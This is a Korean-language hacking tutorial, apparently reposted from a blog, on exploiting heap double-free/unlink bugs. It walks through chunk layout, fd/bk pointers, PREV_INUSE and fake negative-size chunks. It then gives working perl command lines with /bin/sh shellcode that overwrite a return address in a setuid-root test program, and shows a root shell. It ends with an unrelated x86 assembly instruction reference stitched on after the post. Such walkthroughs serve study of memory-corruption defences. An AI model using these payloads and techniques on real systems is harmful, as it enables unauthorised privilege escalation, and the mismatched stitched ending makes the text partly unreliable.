main(int argc, char *argv[])

{

       char *mol1;

       char *mol2;

 

       mol1 = malloc(16);

       mol2 = malloc(32);


       if ( argc< 2)

       { fprintf(stderr, "error args\n" );

       exit(0); }


       strcpy( mol1 , argv[1] );

       strcpy( mol2 , argv[2] );

              

       dumpcode(mol2-28,64);

       free(mol1);

       dumpcode(mol2-28,64);

       free(mol2);

       dumpcode(mol2-28,64);

}


$./test2 AAAA BBBB

0x08049a74  19 00 00 00 41 41 41 41 00 00 00 00 00 00 00 00   ....AAAA........

0x08049a84  00 00 00 00 00 00 00 00 29 00 00 00 42 42 42 42   ........)...BBBB

0x08049a94  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................

0x08049aa4  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................

<<---------- free(mol1)전 heap의 구조


0x08049a74  19 00 00 00 18 ef 14 40 18 ef 14 40 00 00 00 00   .......@...@....

0x08049a84  00 00 00 00 18 00 00 00 28 00 00 00 42 42 42 42   ........(...BBBB

0x08049a94  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................

0x08049aa4  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................

<<---------- free(mol1)후 heap의 구조


0x08049a74  91 05 00 00 18 ef 14 40 18 ef 14 40 00 00 00 00   .......@...@....

0x08049a84  00 00 00 00 18 00 00 00 28 00 00 00 42 42 42 42   ........(...BBBB

0x08049a94  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................

0x08049aa4  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................

<<---------- free(mol2)후 heap의 구조



복잡한것 같으나 차근차근 보면 그다지 어렵지 않다.^^


우선 첫번째 dump를 보도록 하자. 다음과 같은 도식적인 구조를 볼수 있다.


[chunk(mol1)크기:dec16+8+1][mol1:16][junk:4][chunk(mol2)크기+8+1][mol2:16]...


음...우선 선언된 동적메모리는 위와 같이 [크기선언][할당공간] 으로 만들어 지는것을 볼수 있다. 이러한 heap공간의 메모리 할당 구역을 chunk라 한다.  


그럼 두번째 free(mol1)에 의한 heap구조를 보도록 하자. free(mol1)에 의해서 mol1에 할당된 메모리는 반환되고 그공간에 어떤 포인터 값이 들어간것을 볼수 있는데 그 구조는 다음과 같이 도식적으로 구분할수있다.


[mol1 크기][fd:4][bk:4][...][mol1크기][mol2크기][data]... 


여기서 우리는 fd 와 bk 의 역할을 살펴보도록 하자.


fd(Forward pointer to next chunk in list)는 다음 chunk를 가르키는 pointer 이고, bk(Back Pointer to previous chunk in list)는 이전 chunk를 가르키는 pointer 이다. 


이렇게 heap공간에 할당되고 free된 형태에서 fd와 bk는 프로그램에서 free된 이전의 공간을 탐색해서 재 할당하는등 좀더 메모리를 효율적으로 관리하는 곳에 쓰이게 된다.


일단, 정리해서 살펴보면 이러한 구조를 가지게 된다.


[malloc1,2 선언]


[size1][data1][size2][data2].....


[free1 후]


[size1][fd][bk]...[size1][size2][data]



4. Free 메커니즘의 이해


자 앞서 구조를 대략 살펴 보았다, 본격적으로 free 함수에 의하여 생성된 fd,bk가 어떠한 역할을 하고 dubli linked 


list에서 어떠한 방식으로 변경되는가를 살펴보도록 하자, 이부분은 DFB를 이해하는데 가장 중요한 핵심이라고 할 수 있으며, 이부분을 이해하는데 많은 시간을 투자하여야 할 것이라고 생각한다. 반드시 공격방법을 익히기 전에 이해하시기 바란다...(꼭!! -공격방법만 익혀서 써먹으면 뭔 소용이 있으랴.-)


//test3.c

#include <stdio.h>

#include "dumpcode.h"


main(int argc, char *argv[])

{

       char *mol1;

       char *mol2;

       char *mol3;


       mol1 = malloc(16);

       mol2 = malloc(16);

       mol3 = malloc(16);


       if ( argc< 2)

       { fprintf(stderr, "error args\n" );

       exit(0); }


       strcpy( mol1 , argv[1] );

       strcpy( mol2 , argv[2] );

       strcpy( mol3 , argv[3] );


       dumpcode(mol2-28,64);

       free(mol1);

       dumpcode(mol2-28,64);

       free(mol2);

       dumpcode(mol2-28,64);

       free(mol3);

}


$./test3 AAAA BBBB CCCC


0x08049ab4  19 00 00 00 41 41 41 41 00 00 00 00 00 00 00 00   ....AAAA........

0x08049ac4  00 00 00 00 00 00 00 00 19 00 00 00 42 42 42 42   ............BBBB

0x08049ad4  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................

0x08049ae4  19 00 00 00 43 43 43 43 00 00 00 00 00 00 00 00   ....CCCC........


0x08049ab4  19 00 00 00 18 ef 14 40 18 ef 14 40 00 00 00 00   .......@...@....

0x08049ac4  00 00 00 00 18 00 00 00 18 00 00 00 42 42 42 42   ............BBBB

0x08049ad4  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................

0x08049ae4  19 00 00 00 43 43 43 43 00 00 00 00 00 00 00 00   ....CCCC........


0x08049ab4  31 00 00 00 30 ef 14 40 30 ef 14 40 00 00 00 00   1...0..@0..@....

0x08049ac4  00 00 00 00 18 00 00 00 18 00 00 00 42 42 42 42   ............BBBB

0x08049ad4  00 00 00 00 00 00 00 00 00 00 00 00 30 00 00 00   ............0...

0x08049ae4  18 00 00 00 43 43 43 43 00 00 00 00 00 00 00 00   ....CCCC........


다시 비슷한 덤프이다.(차근차근 안하면 중간에 헷갈려서 뭐가뭔지...^^)

이번에 우리가 눈여겨 보와야 하는것은 free의 메커니즘이다...즉, 병합과정을 공부해보려는것인데..


free(mol2)에 의해서 어떠한 일이 발생되었는가를 자세히 살펴보면, 우선 앞서 free된 size1의 크기가 변경되고, 


fd,bk도 변경된것을 볼 수 있다. 그 증감은 size2의 크기와 동일한것을 볼수 있는데...이처럼, 앞선 메모리가 free되어있경우 재 사용가능한 블럭수를 줄이고, 크기를 늘리기 위해서 합병이 된다. 이러한 방식의 free메커니즘은 free가 


호출될때마다 시행되며 하나로 합쳐지게 된다.


chunk의 합병은 PREV_INUSE라는 독특한 프래그를 체크하여 시행되는데 size의 최하위 비트가 바로 그넘이다.즉, 사이즈의 값을 구성하는 4byte중 하위 3bit는 독특한 역활을 하는데 나머지는 각자 공부해보시고 마지막 1bit의 값이 0이면 병합과정을 수행하게된다. (1이면?..앞chunk가 사용중인걸루 알지..)


(여기서 잠깐...bit입니다...byte가 아니구..8bit=1byte: 즉 2진수 값을 의미합니다. 헤깔리지 마시길^^)


자, 여기서 우리가 주목해야 할 부분은 앞에서 언급된 fd, bk 이다. 이 두가지의 포인터는 free과정에서 생성되며 두 값은 서로 치환 과정을 거치게 된다. 이때 만약 이넘을 어떻게든 변조 할 수 있다면.... 실로 재미난 일이 벌어질것 이다.  



5. fd, bk 이쁜넘! (우리의 친구 포.인.터^^)


스택가드를 회피할때도 포인터는 우리의 친구였다..^^. 

자 그럼 fd 와 bk가 어떤 일을 벌이는지 알아보도록 하자.


//test4.c

#include <stdio.h>

#include "dumpcode.h"


main(int argc, char *argv[])

{

       char *mol1;

       char *mol2;

       int *fd, *bk;


       mol1 = malloc(16);

       mol2 = malloc(16);

       fd = mol1;               //<--- free후 fd의 위치

       bk = mol1+4;             //<--- free후 bk의 위치 


       if ( argc< 2)

       { fprintf(stderr, "error args\n" );

       exit(0); }


       strcpy( mol1 , argv[1] );


       dumpcode(mol2-28,64);

       free(mol1);

       (*bk) +=16;              //<--- 임의로 bk를 변경함

       dumpcode(mol2-28,64);

       free(mol2);

       dumpcode(*fd,16);

       dumpcode(*bk,16);

}


$./test4 aaaa


0x08049a94  19 00 00 00 61 61 61 61 00 00 00 00 00 00 00 00   ....aaaa........

0x08049aa4  00 00 00 00 00 00 00 00 19 00 00 00 00 00 00 00   ................

0x08049ab4  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................

0x08049ac4  41 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00   A...............


0x08049a94  19 00 00 00 18 ef 14 40 28 ef 14 40 00 00 00 00   .......@(..@....

0x08049aa4  00 00 00 00 18 00 00 00 18 00 00 00 00 00 00 00   ................

0x08049ab4  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................

0x08049ac4  41 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00   A...............


0x4014ef18  10 ef 14 40 10 ef 14 40 90 9a 04 08 28 ef 14 40   ...@...@....(..@


0x4014ef28  20 ef 14 40 20 ef 14 40 18 ef 14 40 28 ef 14 40    ..@ ..@...@(..@ 



자...멋지다... 위의 실행결과를 보면서 fd와 bk가 어떻게 작용하는가를 알아보도록 하자. 

(한국xx들은 눈으로 봐야 믿어 - 김구라버젼^^)

test4에서는 앞서 공부한 free후 fd와 bk의 위치를 알아보고 그넘들이 가르키는 곳을 덤프해보았다.

또한 임의로 bk값을 변경하여 fd와 bk가 서로 어떠한 역활을 하는가를 알아보려한다.


fd = 0x4014ef18

bk = 0x4014ef28 (헷갈리니깐 임의로 변경했다)


fd : 0x4014ef18  10 ef 14 40 10 ef 14 40 90 9a 04 08 28 ef 14 40 


우선 fd의 시작에서 +12 된 위치의 값을 보면 bk의 주소가 들어간것을 볼수 있다.


또, bk : 0x4014ef28  20 ef 14 40 20 ef 14 40 18 ef 14 40 28 ef 14 40


이번엔 bk의 시작에서 +8 된 위치의 값은 fd의 주소가 들어간것을 볼수 있다. 


즉, free과정에서 생성되는 fd 는, fd가 가르키는 주소번지의 +12 되는곳에 bk 값을 넣게되고, bk는, bk가 가르키는 주소번지의 +8되는 곳에 fd의 값을 넣게된다는것을 알수 있다. 이러한 재미난 fd, bk의 치환과정은 우리가 heap영역을 공략하여 이전과 다르게 shell를 획득할 수있는 빌미를 제공한다.


여기서 현명한 독자들은 공격 방법을 구상할 것이다.


만약에 우리가 이두값을 마음데로 조정할 수 있다면 우리가 원하는 주소번지(RET등)에 특정값을 변조 할 수 있을 것이다. 예를 들어


fd 에 RET-12 위치로 변경하고 bk 를 shellcode 위치로 변경한다면 (여기서 bk 가르키는 곳의 +8 값도 변하므로 이를 회피하는 방법을 구상해야 하지만..일단) 우리는 heap 오버를 통하여 shell를 획득 할수 있을것이다.


즉, 


....[fd:RETloc-12][bk:*shellcode].... 의 공격 코드로 ...


자..이제 공격하려는 대상은 탐색되었다... BUT..어떻게?



6. hacking 속임수의 미학


spoof 공격은 IP스푸핑에서부터 모든 해킹기법의 기본이다. RET를 변조하거나 기타 다른넘을 변조하는것도 일종의 메모리 Spoof 인것이다.(ㅋㅋㅋ 컴터를 속이자!!)

앞에서 공부한 free과정의 fd, bk는 우리가 heap영역을 공략하는데 있어서 메모리 값을 변경시킬수 있는 아주 중요한 공격목표이다, 하지만 앞서 덤프된 heap영역의 모습을 보면 아무리 BOF를 통해서 heap공간을 변조 시켜놓아도free이후에 fd와 bk는 생성되므로 우리가 만들어 놓은 공격코드는 아무런 소용이 없어진다. 즉, heap영역에서 정상적으로 생성되는 fd, bk 값은 우리가 입력을 통해서 변조할 수 없는 그림의 떡이다...쩝!


악~~~~ 그럼 어떻게 하라구....!!!


해킹은 속임수의 미학이라 했던가! 자 정상적인 free과정에서 생성된 fd, bk는 변조 하지 못한다면, 비정상적으로 생성된 fd, bk는 변조할 수 있다는 야그지...ㅋㅋㅋ 다음 그림을 잘보자..


[chunk 1][chunk2] ------------> [chunk1][.....spoof_chunk1-1.....][chunk2]


잘보았는가?....그럼 다음시간에.... 

곰곰히..고민해보시라...


------------------------------------------------------->> To be Countinued hackerleon


오랜만에 올립니다. 바뻐서리...


지난 시간에는 heap의 일반적인 구조와 Free메커니즘의 일반적인 형태를 알아보고 DFB 의 핵심인 fd, bk가 어떠한 방식으로 우리를 즐겁게 해줄수 있을지에 대한 부분을 알아보았다. 이번시간에는 실전적으로 fd와 bk를 어떻게 우리 맘데로 조정할 수 있을지에 대한부분을 공부해보도록 하자.


1. PREV_INUSE 프래그


앞선 시간에 우리는 PREV_INUSE에 관하여 조금 알아 보았다. 즉, 이넘의 역활은 이전의 chunk가 사용중인지 혹은 사용중이 아닌지를 표시해주는 넘이다.(기억 안나시믄 앞 강좌 보이소~) 


이넘의 특성은 이전chunk가 사용중이면 "1" 이고 그렇치 않으면 "0" 으로 표시되게되며, 만약 앞선 chunk가 free되게 되면 그 다음 chunk는 이것을 검사하여("0"이면) 병합과정을 일으키게된다.


앞강좌의 test2 예제를 통해서 확인해보자.


//test2.c

#include <stdio.h>

#include "dumpcode.h"


main(int argc, char *argv[])

{

       char *mol1;

       char *mol2;


       mol1 = malloc(16);

       mol2 = malloc(32);


       if ( argc< 2)

       { fprintf(stderr, "error args\n" );

       exit(0); }


       strcpy( mol1 , argv[1] );

 

       dumpcode(mol2-28,64);

       free(mol1);

       dumpcode(mol2-28,64);

       free(mol2);

}


$./test2 AAAA BBBB


<----- pre free(mol1) 

0x08049a74  19 00 00 00 41 41 41 41 00 00 00 00 00 00 00 00   ....AAAA........

0x08049a84  00 00 00 00 00 00 00 00 29 00 00 00 42 42 42 42   ........)...BBBB

0x08049a94  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................

0x08049aa4  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................


<----- after free(mol1)

0x08049a74  19 00 00 00 18 ef 14 40 18 ef 14 40 00 00 00 00   .......@...@....

0x08049a84  00 00 00 00 18 00 00 00 28 00 00 00 42 42 42 42   ........(...BBBB

0x08049a94  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................

0x08049aa4  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................


덤프된 메모리를 살펴보면 


[mol1크기:4][mol1:16][mol2크기:4][P][mol2:16]


이러한 형태임을 알수 있다. 여기서 최초 mol1의 크기를 나타내는 값은 19:HEX = 25:DEC 이 되고..

이때 25바이트는 mol1의 크기 16 + chunk_boundary + 4 + 1 인데 마직막 1비트가 mol1의 앞의 chunk상황을 알려준다.

(실제로 mol1앞은 아무것도 없다. 따라서 chunk가 사용중인걸로 즉, 병합과정이 없는것으로 인식되도록) 중요하게 보아야 할것은 두번째 chunk의 구조인데...


...[mol2크기:4][P]... 


mol1이 free되기전의 값을 보면 29:HEX = 41:DEC = 101001:BIN 이다. 즉, mol2의 크기 32 + chunk_boundary + 4 + 1의 값을 가지고 있는데 이것은 mol1이 free되기전에 사용되고 있으므로 마직막 PREV_INUSE 값을 1로 넣은것이다.


이후 mol1이 free된후를 보자. 


...[mol1크기][maol2크기][P]...


28:HEX = 40:DEC = 101000:BIN 이되어 PREV_INUSE 값을 변경시킨것을 볼수 있다(병합을 일으키기 위함)

이때, 우리는 Overflower를 통하여 이러한 값들을 조정 할 수 있다는 점을 명심하자.^^


2. Fake_chunk 맹글기


자, 앞서 우리는 PREV_INUSE 가 어떤식으로 작동되며 이넘이 free과정에서 메우 중요한 역활을 한다는것을 알아보았다. 그리고 이 모든 값들은 우리가 자유롭게 오버시켜서 우리 맘데로 주무를수도 있는 영역에 존재한다는 것도 알고 있다. 그럼 본격적으로 Fake_chunk를 만들어보도록 하자.


앞서 예제의 덤프에서 


...[mol1크기][maol2크기][P]...


요기를 유심히 살펴보면 분명 free(mol1)이 된후에 mol1 의 크기를 확인하는 것을 볼 수 있다.

이때, mol1의 크기를 변화 시키면 어떻게 될까? 


mol1의 크기는 16바이트 이지만 free(mol1) 이후 mol1의 크기를 음수로 정의 해준다면?...전체 chunk boundary 안에서 mol2의 병합이 이뤄지기 전에 mol2의 chunk 가 앞선 mol1의 크기를 음수값으로 인식한다면 우리는 실제 mol1과 mol2의 chunk 사이에 임의의 chunk를 만들어 낼 수 있을것이다.(어렵남?) 이부분을 반드시 이해하자!!!


다음을 보자.. 소스는 앞의 test2.c를 쓰도록 한다.


$ ./test2 `perl -e 'printf "A"x16 ; printf "\xfc\xff\xff\xff\xff\xff\xff\xff\xa4\x9a\x04\x08\xa4\x9a\x04\x08"'`


0x08049a74  19 00 00 00 41 41 41 41 41 41 41 41 41 41 41 41   ....AAAAAAAAAAAA

0x08049a84  41 41 41 41 fc ff ff cf ff ff ff ff 74 9a 04 08   AAAA........t...

0x08049a94  74 9a 04 08 00 00 00 00 00 00 00 00 00 00 00 00   t...............

0x08049aa4  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................


0x08049a74  15 00 00 00 10 ef 14 40 10 ef 14 40 41 41 41 41   .......@...@AAAA

0x08049a84  14 00 00 00 fc ff ff cf ff ff ff ff 74 9a 04 08   ............t...

0x08049a94  74 9a 04 08 00 00 00 00 00 00 00 00 00 00 00 00   t...............

0x08049aa4  00 00 00 00 00 00 00 00 74 9a 04 08 74 9a 04 08   ........t...t...


자~~~ 흥분된다...!!


우선 [mol1크기]와 [mol2크기] 에 해당하는 0xfffffffc 0xffffffff 는 조금 있다가 설명하도록 하고...우선 결과치를 보면서 흥분을 삭혀보자...ㅋㅋ


[mol1:16][0xfffffffc][0xffffffff][fack_fd][fack_bk] 로 입력한 공격코드로 인하여 해당 주소인 0x80049aa4 + 8 의 값과 + 12 의 값이 변경된것을 볼 수 있다 (왜 그런지 모르겠는분은 1강을 보라!) 그렇다면 우리는 우리가 원하는 RET 와 같은 민감한 부분도 변경 할 수 있다는 결론이 나온다. 와~..


여기서 0xfffffffc 는 뭐하는넘이냐?....계산기를 열어서 DEC "-4" 를 HEX로 바꿔 보시라..얼마나오는감?


0xfffffffffffffffc 이 나올것이다.. 바로 pre_size 를 -4로 변경 하여서 fack_chunk를 생성한것이다. 그럼 


PREV_INUSE는?...또, 계산기 열어보시라 이놈을 BIN 값으로 변환 하면 1111111...11100 이 나오는것을 알수 있다..


따라서 chunk2는 정상적인 놈인줄 알고 병합과정을 수행하게되고 이때 임으로 만들어넣은 fd와 bk 값을 덮어쓰려 할 것이다. 따라서 위와 같은 멋진 공격방법이 성공 하게된것이다....바로 0xfffffffffffffffc 야 말로 두가지 조건 (1. pre_size를 음수로 2. PREV_INUSE 값을 0으로)를 충분히 만족 시키는 공격코드의 핵심이 된다.(-4, -6, ..기타등등 PREV_INUSE 값이 1만아니면 음수값은 다 될꺼당..그러나 앞으로는 헷갈리니깐 -4를 계속 쓰도록 한다.)


3. jump_ahead CODE 와 junk 들...


음...흥분을 가라앉히고 본격적으로 공격을 해보자.

위의 기초적인 공격 방법을 토대로 차근차근 공격을 해보면...우선 저번 1강에서의 fd,bk의 이쁜짓을 기억 하시라....『free과정에서 생성되는 fd 는, fd가 가르키는 주소번지의 +12 되는곳에 bk 값을 넣게되고, bk는, bk가 가르키는 주소번지의 +8되는 곳에 fd의 값을 넣게된다는것을 알수 있다.』...


자 그럼 다음과 같은 일반적인 공격코드를 생각할 수 있겠다.


..[mol1:16][0xfffffffc][0xffffffff][RET-12][shellcode위치]..


다음의 프로그램을 공략해보자.


//test5.c

#include <stdio.h>

#include "dumpcode.h"


main(int argc, char *argv[])

{

       char *mol1;

       char *mol2;


       mol1 = malloc(160);

       mol2 = malloc(16);


       if ( argc< 2)

       { fprintf(stderr, "error args\n" );

       exit(0); }


       strcpy( mol1 , argv[1] );

 

       dumpcode(mol2-172,192);   // mol1좀 드려다 보자구!

       dumpcdoe(&mol2,16);       // RET 맞냐

       free(mol1);

       dumpcode(mol2-172,192);   // free 후에도 보자구!

       dumpcdoe(&mol2,16);       // RET 변조됐나?

       free(mol2);

}


우리는 다음과 같은 공격 코드를 작성 할 수 있을 것이다.


INPUT : [NOP][Shellcode]..[0xfffffffffffffffc][RET-12][*NOP]


어디 공격해보자.


RET : 0xbffff9dc

NOP : 0x08049a84


$ ./test5 `perl -e 'printf "\x90"x97;printf "\xeb\x1d\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xde\xff\xff\xff/bin/sh";printf "\x41"x20;printf "\xfc\xff\xff\xff\xff\xff\xff\xff\xd0\xf9\xff\xbf\x84\x9a\x04\x08"'`  


0x08049a74  a9 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90   ................

0x08049a84  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................

0x08049a94  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................

0x08049aa4  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................

0x08049ab4  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................

0x08049ac4  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................

0x08049ad4  90 90 90 90 90 eb 1d 5e 89 76 08 31 c0 88 46 07   .......^.v.1..F.

0x08049ae4  89 46 0c b0 0b 89 f3 8d 4e 08 31 d2 cd 80 b0 01   .F......N.1.....

0x08049af4  31 db cd 80 e8 de ff ff ff 2f 62 69 6e 2f 73 68   1......../bin/sh

0x08049b04  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA

0x08049b14  41 41 41 41 fc ff ff ff ff ff ff ff d0 f9 ff bf   AAAA............

0x08049b24  84 9a 04 08 00 00 00 00 00 00 00 00 00 00 00 00   ................


0xbffff9d0  20 9b 04 08 78 9a 04 08 18 fa ff bf 77 21 04 40    ...x.......w!.@  


0x08049a74  a5 00 00 00 a0 ef 14 40 a0 ef 14 40 90 90 90 90   .......@...@....

0x08049a84  90 90 90 90 90 90 90 90 d0 f9 ff bf 90 90 90 90   ................

0x08049a94  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................

0x08049aa4  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................

0x08049ab4  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................

0x08049ac4  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................

0x08049ad4  90 90 90 90 90 eb 1d 5e 89 76 08 31 c0 88 46 07   .......^.v.1..F.

0x08049ae4  89 46 0c b0 0b 89 f3 8d 4e 08 31 d2 cd 80 b0 01   .F......N.1.....

0x08049af4  31 db cd 80 e8 de ff ff ff 2f 62 69 6e 2f 73 68   1......../bin/sh

0x08049b04  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA

0x08049b14  a4 00 00 00 fc ff ff ff ff ff ff ff d0 f9 ff bf   ................

0x08049b24  84 9a 04 08 00 00 00 00 00 00 00 00 00 00 00 00   ................


0xbffff9d0  20 9b 04 08 78 9a 04 08 18 fa ff bf 84 9a 04 08    ...x...........  


Illegal instruction (core dumped)



음...정확히 되었다.RET위치가 정확히 우리가 원하는 NOP로 변경된것을 보았다...그런데...이건또 뭐냐..


0x08049a84  90 90 90 90 90 90 90 90 d0 f9 ff bf 90 90 90 90


여기를 보면 bk +8 값역시 변경되어버린것을 볼 수 있다...즉 정확히 RET를 변조하여 NOP로 맞추었으나, 우리가 맞춘 그 주소의 +8 위치도 함께 변경되어버리므로 우리는 원하는 쉘코드까지 실행흐름을 끌고 갈수 없게 된다. 왠 날벼락...!! EGG를 이용하면 되지 않겠냐구?... EGG를 이용해도 위와 같이 우리가 RET의 주소를 변경시킬때 그 변경하는 주소의 + 8 값은 언제나 변하게 된다. 그렇다면 EGG가 뭔소용이랴...


BUT! 그러나 우리에게는 jumpcode가 있다....즉 변경된 RET 주소위치에 jumpcode를 삽입하여 bk로 인하여 변조된 값을 뛰어 넘어서 실행토록 변경하여주면 된다.


다시 공격코드를 보면 


[junk1:12byte][jump ahead:2byte][junk2:10byte][NOP][shellcode][junk3][0xfffffffffffffffc][RET-12][*jump]


이와 같은 형태로 구현 할 수 있다. 


-. junk1 : 본래의 mol1이 free될때 생성되는 fd, bk 값으로 변환(+4)

-. junk2 : fake_bk에 의하여 생성되는 값으로 변환

-. junk3 : fake_chunk에 의해서 생성되는 pre_size값으로 변환

-. jump ahead : 현위치에서 + 12 바이트 이상 점프(jumpcode:2byte포함) : "\xeb\x{ⓐ}" -- {ⓐ}만큼 jump


4. 실전 DFB


자 다되었다. 이제 실전으로 공격을 해보자 취약프로그램은 위의 test5를 사용한다.(덤프된모습을 보면서 테스트 해보세요)


$ ls -l test5

-rwsr-xr-x    1 root     root        15135 Mar 10 14:10 test5


앞에서 설명된 공격코드를 만들어보자.


$./test5 `perl -e 'printf "A"x12;printf "\xeb\x0c";printf "B"x10;printf "\x90"x73;printf "\xeb\x1d\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xde\xff\xff\xff/bin/sh";printf "C"x20;printf "\xfc\xff\xff\xff\xff\xff\xff\xff\xd0\xf9\xff\xbf\x84\x9a\x04\x08"'`  


0x08049a74  a9 00 00 00 41 41 41 41 41 41 41 41 41 41 41 41   ....AAAAAAAAAAAA

0x08049a84  eb 0c 42 42 42 42 42 42 42 42 42 42 90 90 90 90   ..BBBBBBBBBB....

0x08049a94  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................

0x08049aa4  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................

0x08049ab4  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................

0x08049ac4  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................

0x08049ad4  90 90 90 90 90 eb 1d 5e 89 76 08 31 c0 88 46 07   .......^.v.1..F.

0x08049ae4  89 46 0c b0 0b 89 f3 8d 4e 08 31 d2 cd 80 b0 01   .F......N.1.....

0x08049af4  31 db cd 80 e8 de ff ff ff 2f 62 69 6e 2f 73 68   1......../bin/sh

0x08049b04  43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43   CCCCCCCCCCCCCCCC

0x08049b14  43 43 43 43 fc ff ff ff ff ff ff ff d0 f9 ff bf   CCCC............

0x08049b24  84 9a 04 08 00 00 00 00 00 00 00 00 00 00 00 00   ................


0xbffff9d0  20 9b 04 08 78 9a 04 08 18 fa ff bf 77 21 04 40    ...x.......w!.@


0x08049a74  a5 00 00 00 a0 ef 14 40 a0 ef 14 40 41 41 41 41   .......@...@AAAA

0x08049a84  eb 0c 42 42 42 42 42 42 d0 f9 ff bf 90 90 90 90   ..BBBBBB........

0x08049a94  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................

0x08049aa4  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................

0x08049ab4  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................

0x08049ac4  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................

0x08049ad4  90 90 90 90 90 eb 1d 5e 89 76 08 31 c0 88 46 07   .......^.v.1..F.

0x08049ae4  89 46 0c b0 0b 89 f3 8d 4e 08 31 d2 cd 80 b0 01   .F......N.1.....

0x08049af4  31 db cd 80 e8 de ff ff ff 2f 62 69 6e 2f 73 68   1......../bin/sh

0x08049b04  43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43   CCCCCCCCCCCCCCCC

0x08049b14  a4 00 00 00 fc ff ff ff ff ff ff ff d0 f9 ff bf   ................

0x08049b24  84 9a 04 08 00 00 00 00 00 00 00 00 00 00 00 00   ................


0xbffff9d0  20 9b 04 08 78 9a 04 08 18 fa ff bf 84 9a 04 08    ...x...........


sh-2.04# 


오예!!! 앞서 만들어본 공격코드가 정확히 작동한것을 볼 수 있다...

여기서 A는 junk1이고, B는 junk2, C는 junk3 이다.


위의 연습 코드를 통한 방법에서는 RET와 쉘코드의 위치를 정확히 알고서 공격을 할 수 있었지만 실전에서 dump되지 않는 프로그램을 공략하기란 그리 만만치 만은 않다. 따라서 DFB에서는 RET보다는 .dtors+4 위치를 공략 하는 편이 조금더 유리하며 shellcode를 넣는 위치도 heap영역이나 기타 환경변수 쉘을 변형하여(jump ahead code를 삽입한) 공략하여도 좋을 것 같다.




DFB는 그동안 등한시 되던^^ heap영역을 통하여 쉘을 획득 할 수 있다는 좋은 본보기가 된다. 역시 모든 프로그램의 실행중에 사용되는 메모리와 그 메커니즘은 언제나 취약성이 노출되어있으며 이를 보완 발전하여야 하는 것은 hacker의 몫이라고 다시 한번 강조한다.



Posted by k1rha
2015. 2. 26. 20:40
-----데이터 타입-----
 
BYTE : 8비트 부호 없는 정수
SBYTE : 8비트 부호 있는 정수
WORD : 16비트 부호 없는 정수
SWORD : 16비트 부호 있는 정수
DWORD : 32비트 부호 없는 정수
SDWORD : 32비트 부호 있는 정수
FWORD : 48비트 정수
QWORD : 64비트 정수
TBYTE : 80비트 정수
 
-------피연산자(operand) 타입-----
 
r8 : 8비트 범용 레지스터
r16 : 16비트 범용 레지스터
r32 : 32비트 범용 레지스터
Reg : 임의의 범용 레지스터
Sreg : 16비트 세그먼트 레지스터
Imm : 8, 16, 32비트 상수
imm8 : 8비트 상수
imm16 : 16비트 상수
imm32 : 32비트 상수
r/m8 : 8비트 범용 레지스터 또는 8비트 메모리
r/m16 : 16비트 범용 레지스터 또는 16비트 메모리
r/m32 : 32비트 범용 레지스터 또는 32비트 메모리
mem : 8, 16, 32 비트 메모리
 
----------명령어----------
 
- ADD(add) : destination과 source를 더해 destination에 저장한다.
 
- SUB(Subtract) : destination에서 source값을 뺀 뒤 destination에 저장한다.
 
- SBB(Subtract with Borrow) : 하위 자리의 수계산 중에 빌림수를 가져갔다면 그것을
                                           감안해 뺄셈을 한다.
dst = dst - src - CF 식으로 생각하면 된다.
 
- MUL(Unsigned Integer Multiply) : 부호 없는 al, ax, eax의 값을 피연산자와 곱한다.
피연산자가 8비트 이면 al과 곱해서 ax에 저장되고 16비트이면 ax와 곱해서 dx:ax에 저장된다.
피연산자가 32비트 이면 EAX와 곱해서 EDX:EAX에 저장된다.
 
- IMUL(Integer Multiplication) : 부호 있는 al, ax, eax의 값을 피연산자와 곱한다.
결과에 따라 CF, OF가 달라질 수 있다.
